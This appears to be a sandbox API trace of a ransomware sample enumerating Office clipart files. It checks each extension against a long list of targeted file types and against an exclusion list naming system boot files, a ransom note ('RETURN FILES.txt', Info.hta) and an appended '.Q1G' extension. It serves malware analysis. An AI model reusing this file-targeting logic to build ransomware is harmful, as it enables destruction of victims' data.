lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0242.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1260 [0242.355] FindNextFileW (in: hFindFile=0x3af1260, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.355] FindNextFileW (in: hFindFile=0x3af1260, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0242.355] lstrlenW (lpString="J0143743.GIF") returned 12 [0242.355] lstrlenW (lpString=".1cd") returned 4 [0242.355] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.355] lstrlenW (lpString=".3ds") returned 4 [0242.355] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0242.355] lstrlenW (lpString=".3fr") returned 4 [0242.355] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0242.355] lstrlenW (lpString=".3g2") returned 4 [0242.355] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0242.355] lstrlenW (lpString=".3gp") returned 4 [0242.355] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".7z") returned 3 [0242.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.356] lstrlenW (lpString=".accda") returned 6 [0242.356] lstrcmpiW (lpString1=".accda", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".accdb") returned 6 [0242.356] lstrcmpiW (lpString1=".accdb", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".accdc") returned 6 [0242.356] lstrcmpiW (lpString1=".accdc", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".accde") returned 6 [0242.356] lstrcmpiW (lpString1=".accde", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".accdt") returned 6 [0242.356] lstrcmpiW (lpString1=".accdt", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".accdw") returned 6 [0242.356] lstrcmpiW (lpString1=".accdw", lpString2="43.GIF") returned -1 [0242.356] lstrlenW (lpString=".adb") returned 4 [0242.356] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".adp") returned 4 [0242.356] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai") returned 3 [0242.356] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0242.356] lstrlenW (lpString=".ai3") returned 4 [0242.356] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai4") returned 4 [0242.356] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai5") returned 4 [0242.356] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai6") returned 4 [0242.356] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai7") returned 4 [0242.356] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".ai8") returned 4 [0242.356] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0242.356] lstrlenW (lpString=".anim") returned 5 [0242.356] lstrcmpiW (lpString1=".anim", lpString2="3.GIF") returned -1 [0242.356] lstrlenW (lpString=".arw") returned 4 [0242.356] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".as") returned 3 [0242.357] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0242.357] lstrlenW (lpString=".asa") returned 4 [0242.357] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".asc") returned 4 [0242.357] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".ascx") returned 5 [0242.357] lstrcmpiW (lpString1=".ascx", lpString2="3.GIF") returned -1 [0242.357] lstrlenW (lpString=".asm") returned 4 [0242.357] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".asmx") returned 5 [0242.357] lstrcmpiW (lpString1=".asmx", lpString2="3.GIF") returned -1 [0242.357] lstrlenW (lpString=".asp") returned 4 [0242.357] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".aspx") returned 5 [0242.357] lstrcmpiW (lpString1=".aspx", lpString2="3.GIF") returned -1 [0242.357] lstrlenW (lpString=".asr") returned 4 [0242.357] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".asx") returned 4 [0242.357] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".avi") returned 4 [0242.357] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".avs") returned 4 [0242.357] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0242.357] lstrlenW (lpString=".backup") returned 7 [0242.357] lstrcmpiW (lpString1=".backup", lpString2="743.GIF") returned -1 [0242.358] lstrlenW (lpString=".bak") returned 4 [0242.358] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0242.358] lstrlenW (lpString=".bay") returned 4 [0242.358] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0242.555] lstrlenW (lpString=".bd") returned 3 [0242.558] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0242.563] lstrlenW (lpString=".bin") returned 4 [0242.565] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0242.568] lstrlenW (lpString=".bmp") returned 4 [0242.568] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0242.573] lstrlenW (lpString=".bz2") returned 4 [0242.574] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.576] lstrlenW (lpString=".c") returned 2 [0242.578] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0242.578] lstrlenW (lpString=".cdr") returned 4 [0242.578] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0242.578] lstrlenW (lpString=".cer") returned 4 [0242.578] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0242.579] lstrlenW (lpString=".cf") returned 3 [0242.582] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0242.582] lstrlenW (lpString=".cfc") returned 4 [0242.584] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0242.585] lstrlenW (lpString=".cfm") returned 4 [0242.586] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0242.588] lstrlenW (lpString=".cfml") returned 5 [0242.589] lstrcmpiW (lpString1=".cfml", lpString2="3.GIF") returned -1 [0242.593] lstrlenW (lpString=".cfu") returned 4 [0242.594] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0242.595] lstrlenW (lpString=".chm") returned 4 [0242.596] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0242.597] lstrlenW (lpString=".cin") returned 4 [0242.598] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0242.600] lstrlenW (lpString=".class") returned 6 [0242.600] lstrcmpiW (lpString1=".class", lpString2="43.GIF") returned -1 [0242.604] lstrlenW (lpString=".clx") returned 4 [0242.605] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0242.607] lstrlenW (lpString=".config") returned 7 [0242.609] lstrcmpiW (lpString1=".config", lpString2="743.GIF") returned -1 [0242.610] lstrlenW (lpString=".cpp") returned 4 [0242.613] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0242.614] lstrlenW (lpString=".cr2") returned 4 [0242.615] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0242.618] lstrlenW (lpString=".crt") returned 4 [0242.619] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0242.621] lstrlenW (lpString=".crw") returned 4 [0242.622] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0242.624] lstrlenW (lpString=".cs") returned 3 [0242.625] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0242.625] lstrlenW (lpString=".css") returned 4 [0242.628] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0242.628] lstrlenW (lpString=".csv") returned 4 [0242.629] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0242.630] lstrlenW (lpString=".cub") returned 4 [0242.638] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0242.640] lstrlenW (lpString=".dae") returned 4 [0242.641] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dat") returned 4 [0242.645] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".db") returned 3 [0242.645] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0242.645] lstrlenW (lpString=".dbf") returned 4 [0242.645] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dbx") returned 4 [0242.645] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dc3") returned 4 [0242.645] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dcm") returned 4 [0242.645] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dcr") returned 4 [0242.645] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".der") returned 4 [0242.645] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dib") returned 4 [0242.645] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dic") returned 4 [0242.645] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".dif") returned 4 [0242.645] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".divx") returned 5 [0242.645] lstrcmpiW (lpString1=".divx", lpString2="3.GIF") returned -1 [0242.645] lstrlenW (lpString=".djvu") returned 5 [0242.645] lstrcmpiW (lpString1=".djvu", lpString2="3.GIF") returned -1 [0242.645] lstrlenW (lpString=".dng") returned 4 [0242.645] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".doc") returned 4 [0242.645] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.645] lstrlenW (lpString=".docm") returned 5 [0242.645] lstrcmpiW (lpString1=".docm", lpString2="3.GIF") returned -1 [0242.646] lstrlenW (lpString=".docx") returned 5 [0242.646] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0242.646] lstrlenW (lpString=".dot") returned 4 [0242.646] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dotm") returned 5 [0242.646] lstrcmpiW (lpString1=".dotm", lpString2="3.GIF") returned -1 [0242.646] lstrlenW (lpString=".dotx") returned 5 [0242.646] lstrcmpiW (lpString1=".dotx", lpString2="3.GIF") returned -1 [0242.646] lstrlenW (lpString=".dpx") returned 4 [0242.646] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dqy") returned 4 [0242.646] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dsn") returned 4 [0242.646] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dt") returned 3 [0242.646] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0242.646] lstrlenW (lpString=".dtd") returned 4 [0242.646] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dwg") returned 4 [0242.646] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dwt") returned 4 [0242.646] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".dx") returned 3 [0242.646] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0242.646] lstrlenW (lpString=".dxf") returned 4 [0242.646] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0242.646] lstrlenW (lpString=".edml") returned 5 [0242.646] lstrcmpiW (lpString1=".edml", lpString2="3.GIF") returned -1 [0242.646] lstrlenW (lpString=".efd") returned 4 [0242.647] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0242.647] lstrlenW (lpString=".elf") returned 4 [0242.647] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0242.647] lstrlenW (lpString=".emf") returned 4 [0242.647] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0242.647] lstrlenW (lpString=".emz") returned 4 [0242.647] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0242.647] lstrlenW (lpString=".epf") returned 4 [0242.648] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".eps") returned 4 [0242.648] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".epsf") returned 5 [0242.648] lstrcmpiW (lpString1=".epsf", lpString2="3.GIF") returned -1 [0242.648] lstrlenW (lpString=".epsp") returned 5 [0242.648] lstrcmpiW (lpString1=".epsp", lpString2="3.GIF") returned -1 [0242.648] lstrlenW (lpString=".erf") returned 4 [0242.648] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".exr") returned 4 [0242.648] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".f4v") returned 4 [0242.648] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".fido") returned 5 [0242.648] lstrcmpiW (lpString1=".fido", lpString2="3.GIF") returned -1 [0242.648] lstrlenW (lpString=".flm") returned 4 [0242.648] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".flv") returned 4 [0242.648] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".frm") returned 4 [0242.648] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".fxg") returned 4 [0242.648] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".geo") returned 4 [0242.648] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0242.648] lstrlenW (lpString=".gif") returned 4 [0242.648] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0242.648] lstrlenW (lpString="J0143743.GIF") returned 12 [0242.648] lstrlenW (lpString=".Q1G") returned 4 [0242.648] lstrcmpiW (lpString1=".Q1G", lpString2=".GIF") returned 1 [0242.648] lstrlenW (lpString="J0143743.GIF") returned 12 [0242.648] lstrcmpiW (lpString1="boot.ini", lpString2="J0143743.GIF") returned -1 [0242.648] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0143743.GIF") returned -1 [0242.648] lstrcmpiW (lpString1="ntldr", lpString2="J0143743.GIF") returned 1 [0242.648] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0143743.GIF") returned 1 [0242.648] lstrcmpiW (lpString1="io.sys", lpString2="J0143743.GIF") returned -1 [0242.649] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="J0143743.GIF") returned 1 [0242.649] lstrcmpiW (lpString1="Info.hta", lpString2="J0143743.GIF") returned -1 [0242.649] lstrcmpiW (lpString1="uyuquk.exe", lpString2="J0143743.GIF") returned 1 [0242.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned 76 [0242.649] FindNextFileW (in: hFindFile=0x3af1260, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0242.649] lstrlenW (lpString="J0143744.GIF") returned 12 [0242.649] lstrlenW (lpString=".1cd") returned 4 [0242.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".3ds") returned 4 [0242.649] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".3fr") returned 4 [0242.649] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".3g2") returned 4 [0242.649] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".3gp") returned 4 [0242.649] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".7z") returned 3 [0242.649] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.649] lstrlenW (lpString=".accda") returned 6 [0242.649] lstrcmpiW (lpString1=".accda", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".accdb") returned 6 [0242.649] lstrcmpiW (lpString1=".accdb", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".accdc") returned 6 [0242.649] lstrcmpiW (lpString1=".accdc", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".accde") returned 6 [0242.649] lstrcmpiW (lpString1=".accde", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".accdt") returned 6 [0242.649] lstrcmpiW (lpString1=".accdt", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".accdw") returned 6 [0242.649] lstrcmpiW (lpString1=".accdw", lpString2="44.GIF") returned -1 [0242.649] lstrlenW (lpString=".adb") returned 4 [0242.649] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0242.649] lstrlenW (lpString=".adp") returned 4 [0242.649] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai") returned 3 [0242.650] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0242.650] lstrlenW (lpString=".ai3") returned 4 [0242.650] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai4") returned 4 [0242.650] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai5") returned 4 [0242.650] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai6") returned 4 [0242.650] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai7") returned 4 [0242.650] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ai8") returned 4 [0242.650] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".anim") returned 5 [0242.650] lstrcmpiW (lpString1=".anim", lpString2="4.GIF") returned -1 [0242.650] lstrlenW (lpString=".arw") returned 4 [0242.650] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".as") returned 3 [0242.650] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0242.650] lstrlenW (lpString=".asa") returned 4 [0242.650] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".asc") returned 4 [0242.650] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".ascx") returned 5 [0242.650] lstrcmpiW (lpString1=".ascx", lpString2="4.GIF") returned -1 [0242.650] lstrlenW (lpString=".asm") returned 4 [0242.650] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".asmx") returned 5 [0242.650] lstrcmpiW (lpString1=".asmx", lpString2="4.GIF") returned -1 [0242.650] lstrlenW (lpString=".asp") returned 4 [0242.650] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".aspx") returned 5 [0242.650] lstrcmpiW (lpString1=".aspx", lpString2="4.GIF") returned -1 [0242.650] lstrlenW (lpString=".asr") returned 4 [0242.650] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0242.650] lstrlenW (lpString=".asx") returned 4 [0242.651] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".avi") returned 4 [0242.651] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".avs") returned 4 [0242.651] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".backup") returned 7 [0242.651] lstrcmpiW (lpString1=".backup", lpString2="744.GIF") returned -1 [0242.651] lstrlenW (lpString=".bak") returned 4 [0242.651] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".bay") returned 4 [0242.651] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".bd") returned 3 [0242.651] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0242.651] lstrlenW (lpString=".bin") returned 4 [0242.651] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".bmp") returned 4 [0242.651] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".bz2") returned 4 [0242.651] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".c") returned 2 [0242.651] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0242.651] lstrlenW (lpString=".cdr") returned 4 [0242.651] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".cer") returned 4 [0242.651] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".cf") returned 3 [0242.651] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0242.651] lstrlenW (lpString=".cfc") returned 4 [0242.651] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".cfm") returned 4 [0242.651] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".cfml") returned 5 [0242.651] lstrcmpiW (lpString1=".cfml", lpString2="4.GIF") returned -1 [0242.651] lstrlenW (lpString=".cfu") returned 4 [0242.651] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0242.651] lstrlenW (lpString=".chm") returned 4 [0242.651] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".cin") returned 4 [0242.652] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".class") returned 6 [0242.652] lstrcmpiW (lpString1=".class", lpString2="44.GIF") returned -1 [0242.652] lstrlenW (lpString=".clx") returned 4 [0242.652] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".config") returned 7 [0242.652] lstrcmpiW (lpString1=".config", lpString2="744.GIF") returned -1 [0242.652] lstrlenW (lpString=".cpp") returned 4 [0242.652] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".cr2") returned 4 [0242.652] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".crt") returned 4 [0242.652] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".crw") returned 4 [0242.652] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".cs") returned 3 [0242.652] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0242.652] lstrlenW (lpString=".css") returned 4 [0242.652] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".csv") returned 4 [0242.652] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".cub") returned 4 [0242.652] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".dae") returned 4 [0242.652] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".dat") returned 4 [0242.652] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".db") returned 3 [0242.652] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0242.652] lstrlenW (lpString=".dbf") returned 4 [0242.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.652] lstrlenW (lpString=".dbx") returned 4 [0242.653] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dc3") returned 4 [0242.653] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dcm") returned 4 [0242.653] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dcr") returned 4 [0242.653] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".der") returned 4 [0242.653] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dib") returned 4 [0242.653] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dic") returned 4 [0242.653] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dif") returned 4 [0242.653] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".divx") returned 5 [0242.653] lstrcmpiW (lpString1=".divx", lpString2="4.GIF") returned -1 [0242.653] lstrlenW (lpString=".djvu") returned 5 [0242.653] lstrcmpiW (lpString1=".djvu", lpString2="4.GIF") returned -1 [0242.653] lstrlenW (lpString=".dng") returned 4 [0242.653] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".doc") returned 4 [0242.653] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".docm") returned 5 [0242.653] lstrcmpiW (lpString1=".docm", lpString2="4.GIF") returned -1 [0242.653] lstrlenW (lpString=".docx") returned 5 [0242.653] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0242.653] lstrlenW (lpString=".dot") returned 4 [0242.653] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dotm") returned 5 [0242.653] lstrcmpiW (lpString1=".dotm", lpString2="4.GIF") returned -1 [0242.653] 